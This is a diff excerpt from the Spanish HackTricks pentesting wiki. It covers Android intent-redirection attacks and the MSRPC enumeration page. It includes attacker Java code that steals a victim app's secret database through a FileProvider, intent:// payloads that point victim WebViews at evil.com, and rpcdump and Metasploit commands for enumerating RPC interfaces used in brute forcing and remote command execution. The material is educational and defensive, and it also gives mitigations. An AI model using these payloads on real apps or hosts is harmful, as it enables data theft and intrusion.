```markup
|
||||
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
|
||||
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
|
||||
</provider>
|
||||
```
|
||||
Proporciona acceso de lectura/escritura a archivos en una lista especial que se puede encontrar en los recursos de la app, en este caso en `res/xml/provider_paths.xml`
|
||||
|
||||
Puede parecer algo así
|
||||
```markup
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<paths>
|
||||
<root-path name="root" path=""/>
|
||||
<files-path name="internal_files" path="."/>
|
||||
<cache-path name="cache" path=""/>
|
||||
<external-path name="external_files" path="images"/>
|
||||
</paths>
|
||||
```
|
||||
Cada etiqueta especifica un directorio raíz con un valor de `path` relativo a la raíz. Por ejemplo, el valor `external_files` corresponderá a `new File(Environment.getExternalStorageDirectory(), "images")`
|
||||
|
||||
El valor `root-path` corresponde a `/`, es decir, proporciona acceso a archivos arbitrarios.
|
||||
|
||||
Digamos que tenemos algunos datos secretos almacenados en el archivo `/data/data/com.victim/databases/secret.db`: el robo de este archivo puede verse algo así como `MainActivity.java`
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
||||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||||
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
`LeakActivity.java`
|
||||
```java
|
||||
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
|
||||
```
|
||||
## Acceso a componentes arbitrarios a través de WebView
|
||||
|
||||
Un objeto Intent puede convertirse en una cadena con una llamada a `Intent.toUri(flags)` y de una cadena a un Intent usando `Intent.parseUri(stringUri, flags)`. Esta funcionalidad se utiliza a menudo en WebView (el navegador incorporado de la app): **la app puede verificar un esquema `intent://`, analizar la URL en un Intent y lanzar la actividad**.
|
||||
|
||||
**Esta vulnerabilidad puede ser explotada tanto a través de otras vulnerabilidades** (por ejemplo, la capacidad de abrir enlaces arbitrarios en la app en WebView directamente a través de actividades exportadas o mediante el mecanismo de enlace profundo) en la app cliente como también de forma remota, incluyendo scripting entre sitios en el lado del servidor o MitM en el lado del cliente.
|
||||
|
||||
Ejemplo de código vulnerable
|
||||
```java
|
||||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||||
Uri uri = request.getUrl();
|
||||
if("intent".equals(uri.getScheme())) {
|
||||
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
|
||||
return true;
|
||||
}
|
||||
return super.shouldOverrideUrlLoading(view, request);
|
||||
}
|
||||
```
|
||||
El punto aquí es que el método `shouldOverrideUrlLoading(...)` de la clase `WebViewClient` se llama cada vez que WebView intenta cargar un nuevo enlace, pero le da a la aplicación la opción de agregar un manejador personalizado.
|
||||
|
||||
Para explotar esta vulnerabilidad, el atacante necesita crear una redirección de WebView a una URL de esquema de intent especialmente preparada. Ejemplo de creación de URL
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
|
||||
```
|
||||
Ejemplo de ataque
|
||||
```java
|
||||
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
|
||||
```
|
||||
Esta versión contiene **varias restricciones en comparación con la versión clásica** de la vulnerabilidad:
|
||||
|
||||
* Los objetos `Parcelable` y `Serializable` incrustados no se pueden convertir a cadena (serán ignorados)
|
||||
* Las banderas inseguras `Intent.FLAG_GRANT_READ_URI_PERMISSION` y `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` son **ignoradas** cuando se llama a `Intent.parseUri(...)`. El analizador solo las dejará si se establece la bandera `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))`, lo cual es muy raro
|
||||
|
||||
Muchos desarrolladores aún olvidan realizar un filtrado completo de intents recibidos a través de WebView
|
||||
```java
|
||||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||||
Uri uri = request.getUrl();
|
||||
if("intent".equals(uri.getScheme())) {
|
||||
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
|
||||
intent.addCategory("android.intent.category.BROWSABLE");
|
||||
intent.setComponent(null);
|
||||
startActivity(intent);
|
||||
return true;
|
||||
}
|
||||
return super.shouldOverrideUrlLoading(view, request);
|
||||
}
|
||||
```
|
||||
El atacante puede especificar un componente no exportado a través de un selector
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
|
||||
```
|
||||
Y evadir la protección de la aplicación contra intents explícitos. Por lo tanto, recomendamos filtrar también el selector.
|
||||
```java
|
||||
intent.addCategory("android.intent.category.BROWSABLE");
|
||||
intent.setComponent(null);
|
||||
intent.setSelector(null);
|
||||
```
|
||||
Pero incluso un filtrado completo no garantiza protección total, porque un atacante puede crear un `intent` implícito correspondiente al `intent-filter` de alguna actividad no exportada. Ejemplo de declaración de una actividad:
|
||||
```markup
|
||||
<activity android:name=".AuthWebViewActivity" android:exported="false">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.VIEW" />
|
||||
<category android:name="android.intent.category.DEFAULT" />
|
||||
<data android:scheme="victim" android:host="secure_handler" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
|
||||
```java
|
||||
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
|
||||
```
|
||||
Por lo tanto, recomendamos verificar que una actividad esté exportada antes de ser lanzada.
|
||||
|
||||
## Otras formas de crear intents inseguros
|
||||
|
||||
Algunos desarrolladores de aplicaciones implementan sus **propios analizadores de intents** (a menudo para manejar **deeplinks** o mensajes push), utilizando por ejemplo objetos **JSON**, cadenas o arreglos de bytes, que o bien no difieren del predeterminado o bien presentan un gran peligro, porque pueden expandir objetos **`Serializable`** y `Parcelable` y también permiten establecer flags inseguros. El investigador de seguridad también puede encontrar versiones más exóticas de la creación de intents, como convertir un arreglo de bytes en un `Parcel` y luego leer un intent de él.
|
||||
```java
|
||||
Uri deeplinkUri = getIntent().getData();
|
||||
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
|
||||
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
|
||||
Parcel parcel = Parcel.obtain();
|
||||
parcel.unmarshall(handle, 0, handle.length);
|
||||
startActivity((Intent) parcel.readParcelable(getClassLoader()));
|
||||
}
|
||||
```
|
||||
# Aplicación vulnerable
|
||||
|
||||
{% embed url="https://github.com/oversecured/ovaa" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Echa un vistazo a: [https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,71 +2,58 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
|
||||
|
||||
**Obtén recompensas sin demoras**\
|
||||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
|
||||
**Perspectivas de Hacking**\
|
||||
Involúcrate con contenido que profundiza en la emoción y desafíos del hacking
|
||||
|
||||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente actualizado con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
|
||||
|
||||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
## Información Básica
|
||||
|
||||
## Información básica
|
||||
El protocolo de Llamada a Procedimiento Remoto de Microsoft (MSRPC), un modelo cliente-servidor que permite a un programa solicitar un servicio de un programa ubicado en otra computadora sin entender los detalles de la red, se derivó inicialmente de software de código abierto y posteriormente fue desarrollado y con derechos de autor por Microsoft.
|
||||
|
||||
Microsoft Remote Procedure Call, también conocido como llamada de función o llamada de subrutina, es [un protocolo](http://searchmicroservices.techtarget.com/definition/Remote-Procedure-Call-RPC) que utiliza el modelo cliente-servidor para permitir que un programa solicite un servicio a un programa en otra computadora sin tener que entender los detalles de la red de esa computadora. MSRPC se derivó originalmente de software de código abierto, pero ha sido desarrollado y protegido por derechos de autor por Microsoft.
|
||||
|
||||
Dependiendo de la configuración del host, el mapeador de puntos finales de RPC se puede acceder a través de los puertos TCP y UDP 135, a través de SMB con una sesión nula o autenticada (TCP 139 y 445), y como un servicio web que escucha en el puerto TCP 593.
|
||||
El mapeador de puntos finales de RPC se puede acceder a través de los puertos TCP y UDP 135, SMB en TCP 139 y 445 (con una sesión nula o autenticada), y como un servicio web en el puerto TCP 593.
|
||||
```
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
```
|
||||
## ¿Cómo funciona MSRPC?
|
||||
|
||||
El proceso de MSRPC comienza en el lado del cliente, con la aplicación del cliente llamando a un procedimiento de stub local en lugar de implementar el código del procedimiento. El código de stub del cliente recupera los parámetros requeridos del espacio de direcciones del cliente y los entrega a la biblioteca de tiempo de ejecución del cliente, que luego traduce los parámetros a un formato estándar de Representación de Datos de Red para transmitirlos al servidor.
|
||||
Iniciado por la aplicación cliente, el proceso MSRPC implica llamar a un procedimiento de stub local que luego interactúa con la biblioteca de tiempo de ejecución del cliente para preparar y transmitir la solicitud al servidor. Esto incluye convertir parámetros en un formato estándar de Representación de Datos de Red. La elección del protocolo de transporte es determinada por la biblioteca de tiempo de ejecución si el servidor es remoto, asegurando que la RPC se entregue a través de la pila de red.
|
||||
|
||||
El stub del cliente luego llama a funciones en la biblioteca de tiempo de ejecución del cliente RPC para enviar la solicitud y los parámetros al servidor. Si el servidor se encuentra de forma remota, la biblioteca de tiempo de ejecución especifica un protocolo de transporte y un motor adecuados y pasa el RPC a la pila de red para su transporte al servidor.\
|
||||
Desde aquí: [https://www.extrahop.com/resources/protocols/msrpc/](https://www.extrahop.com/resources/protocols/msrpc/)
|
||||
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
|
||||
|
||||
![](<../.gitbook/assets/image (133).png>)
|
||||
## **Identificación de Servicios RPC Expuestos**
|
||||
|
||||
**Imagen del libro "**_**Network Security Assesment 3rd Edition**_**"**
|
||||
|
||||
## **Identificación de servicios RPC expuestos**
|
||||
|
||||
**Sección extraída del libro "**_**Network Security Assesment 3rd Edition**_**"**
|
||||
|
||||
Puede consultar el servicio de localizador de RPC y los puntos finales de RPC individuales para catalogar servicios interesantes que se ejecutan sobre TCP, UDP, HTTP y SMB (a través de named pipes). Cada valor IFID recopilado a través de este proceso denota un servicio RPC (por ejemplo, 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc es la interfaz de Messenger).
|
||||
|
||||
Las utilidades de Windows rpcdump e ifids de Todd Sabin consultan tanto el localizador de RPC como los puntos finales de RPC específicos para enumerar los valores IFID. La sintaxis de rpcdump es la siguiente:
|
||||
La exposición de servicios RPC a través de TCP, UDP, HTTP y SMB puede determinarse consultando el servicio localizador de RPC y los puntos finales individuales. Herramientas como rpcdump facilitan la identificación de servicios RPC únicos, denotados por los valores de **IFID**, revelando detalles del servicio y enlaces de comunicación:
|
||||
```
|
||||
D:\rpctools> rpcdump [-p port] 192.168.189.1
|
||||
IfId: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
||||
D:\rpctools> rpcdump [-p port] <IP>
|
||||
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
||||
Annotation: Messenger Service
|
||||
UUID: 00000000-0000-0000-0000-000000000000
|
||||
Binding: ncadg_ip_udp:192.168.189.1[1028]
|
||||
Binding: ncadg_ip_udp:<IP>[1028]
|
||||
```
|
||||
Puedes acceder al servicio de localización de RPC utilizando cuatro secuencias de protocolo:
|
||||
|
||||
* ncacn\_ip\_tcp y ncadg\_ip\_udp (puerto TCP y UDP 135)
|
||||
* ncacn\_np (la tubería con nombre \pipe\epmapper a través de SMB)
|
||||
* ncacn\_http (RPC sobre HTTP a través de los puertos TCP 80, 593 y otros)
|
||||
El acceso al servicio de localización de RPC está habilitado a través de protocolos específicos: ncacn\_ip\_tcp y ncadg\_ip\_udp para acceder a través del puerto 135, ncacn\_np para conexiones SMB, y ncacn\_http para comunicación RPC basada en web. Los siguientes comandos ejemplifican la utilización de módulos de Metasploit para auditar e interactuar con servicios MSRPC, centrándose principalmente en el puerto 135:
|
||||
```bash
|
||||
use auxiliary/scanner/dcerpc/endpoint_mapper
|
||||
use auxiliary/scanner/dcerpc/hidden
|
||||
|
@ -74,63 +61,82 @@ use auxiliary/scanner/dcerpc/management
|
|||
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
|
||||
rpcdump.py <IP> -p 135
|
||||
```
|
||||
_Nota que de las opciones mencionadas, todas excepto **`tcp_dcerpc_auditor`** solo se pueden ejecutar contra **msrpc** en el puerto **135**._
|
||||
Todas las opciones excepto `tcp_dcerpc_auditor` están específicamente diseñadas para apuntar a MSRPC en el puerto 135.
|
||||
|
||||
#### Interfaces RPC destacadas
|
||||
|
||||
| **Valor IFID** | **Named pipe** | **Descripción** |
|
||||
| ------------------------------------ | -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 12345778-1234-abcd-ef00-0123456789ab | \pipe\lsarpc | Interfaz LSA, utilizada para enumerar usuarios |
|
||||
| 3919286a-b10c-11d0-9ba8-00c04fd92ef5 | \pipe\lsarpc | Interfaz de Servicios de Directorio (DS) de LSA, utilizada para enumerar dominios y relaciones de confianza |
|
||||
| 12345778-1234-abcd-ef00-0123456789ac | \pipe\samr | Interfaz SAMR de LSA, utilizada para acceder a elementos públicos de la base de datos SAM (por ejemplo, nombres de usuario) y forzar contraseñas de usuario sin importar la política de bloqueo de cuentas [Biblioteca Oreilly](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#idm139659172852688) |
|
||||
| 1ff70682-0a51-30e8-076d-740be8cee98b | \pipe\atsvc | Programador de tareas, utilizado para ejecutar comandos de forma remota |
|
||||
| 338cd001-2244-31f1-aaaa-900038001003 | \pipe\winreg | Servicio de registro remoto, utilizado para acceder al registro del sistema |
|
||||
| 367abb81-9844-35f1-ad32-98f038001003 | \pipe\svcctl | Administrador de control de servicios y servicios de servidor, utilizado para iniciar y detener servicios y ejecutar comandos de forma remota |
|
||||
| 4b324fc8-1670-01d3-1278-5a47bf6ee188 | \pipe\srvsvc | Administrador de control de servicios y servicios de servidor, utilizado para iniciar y detener servicios y ejecutar comandos de forma remota |
|
||||
| 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 | \pipe\epmapper | Interfaz DCOM, compatible con WMI |
|
||||
**IFID**: 12345778-1234-abcd-ef00-0123456789ab
|
||||
**Named Pipe**: \pipe\lsarpc
|
||||
**Descripción**: Interfaz LSA, utilizada para enumerar usuarios.
|
||||
|
||||
**IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
|
||||
**Named Pipe**: \pipe\lsarpc
|
||||
**Descripción**: Interfaz de Servicios de Directorio (DS) de LSA, utilizada para enumerar dominios y relaciones de confianza.
|
||||
|
||||
**IFID**: 12345778-1234-abcd-ef00-0123456789ac
|
||||
**Named Pipe**: \pipe\samr
|
||||
**Descripción**: Interfaz SAMR de LSA, utilizada para acceder a elementos públicos de la base de datos SAM (por ejemplo, nombres de usuario) y para forzar contraseñas de usuario independientemente de la política de bloqueo de cuentas.
|
||||
|
||||
**IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
|
||||
**Named Pipe**: \pipe\atsvc
|
||||
**Descripción**: Programador de tareas, utilizado para ejecutar comandos de forma remota.
|
||||
|
||||
**IFID**: 338cd001-2244-31f1-aaaa-900038001003
|
||||
**Named Pipe**: \pipe\winreg
|
||||
**Descripción**: Servicio de registro remoto, utilizado para acceder y modificar el registro del sistema.
|
||||
|
||||
**IFID**: 367abb81-9844-35f1-ad32-98f038001003
|
||||
**Named Pipe**: \pipe\svcctl
|
||||
**Descripción**: Administrador de control de servicios y servicios de servidor, utilizado para iniciar y detener servicios de forma remota y ejecutar comandos.
|
||||
|
||||
**IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
|
||||
**Named Pipe**: \pipe\srvsvc
|
||||
**Descripción**: Administrador de control de servicios y servicios de servidor, utilizado para iniciar y detener servicios de forma remota y ejecutar comandos.
|
||||
|
||||
**IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
|
||||
**Named Pipe**: \pipe\epmapper
|
||||
**Descripción**: Interfaz DCOM, utilizada para forzar contraseñas y recopilar información a través de WM.
|
||||
|
||||
### Identificación de direcciones IP
|
||||
|
||||
Utilizando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), proveniente de la investigación de [Airbus](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), es posible abusar del método _**ServerAlive2**_ dentro de la interfaz _**IOXIDResolver**_.
|
||||
Utilizando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), proveniente de [la investigación de Airbus](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), es posible abusar del método _**ServerAlive2**_ dentro de la interfaz _**IOXIDResolver**_.
|
||||
|
||||
Este método se ha utilizado para obtener información de la interfaz como la dirección **IPv6** de la máquina HTB _APT_. Consulta [aquí](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) el informe de APT de 0xdf, que incluye un método alternativo utilizando rpcmap.py de [Impacket](https://github.com/SecureAuthCorp/impacket/) con _stringbinding_ (ver arriba).
|
||||
|
||||
Referencias:
|
||||
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
Este método ha sido utilizado para obtener información de interfaz como la dirección **IPv6** de la máquina HTB _APT_. Ver [aquí](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) el análisis de 0xdf sobre APT, que incluye un método alternativo utilizando rpcmap.py de [Impacket](https://github.com/SecureAuthCorp/impacket/) con _stringbinding_ (ver arriba).
|
||||
|
||||
## Puerto 593
|
||||
|
||||
El **rpcdump.exe** de [rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) puede interactuar con este puerto.
|
||||
|
||||
|
||||
## Referencias
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de cifrado.**
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
|
||||
|
||||
**Obtén recompensas sin demoras**\
|
||||
Las recompensas de HackenProof se lanzan solo cuando los clientes depositan el presupuesto de recompensa. Recibirás la recompensa después de que se verifique el error.
|
||||
**Perspectivas de Hacking**\
|
||||
Involúcrate con contenido que explora la emoción y los desafíos del hacking
|
||||
|
||||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
|
||||
|
||||
**Conviértete en una leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
